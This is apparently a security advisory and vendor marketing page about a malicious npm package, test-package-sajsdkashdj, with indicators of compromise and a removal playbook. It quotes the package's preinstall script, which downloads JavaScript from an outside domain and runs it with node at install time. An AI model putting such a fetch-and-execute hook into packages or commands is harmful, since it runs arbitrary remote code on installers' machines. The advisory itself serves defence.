Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

test-package-sajsdkashdjnpm

Malicious code in test-package-sajsdkashdj (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6266
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall test-package-sajsdkashdj

What this malware does

package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.

Malicious versions

2 flagged
2.1.62.1.7

Indicators of compromise (SHA-256)

542596accdcd18f95701775537c8d2a26a97a25cc9498a9da490271b05b1d702
62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for test-package-sajsdkashdj (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging test-package-sajsdkashdj across your stack and pipelines.

  2. If you installed it — respond

    Remove test-package-sajsdkashdj from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If test-package-sajsdkashdj was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks test-package-sajsdkashdj before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. test-package-sajsdkashdj on npm has been identified as a malicious package (versions 2.1.6, 2.1.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007138IN-MAL-2026-007137

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks test-package-sajsdkashdj-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.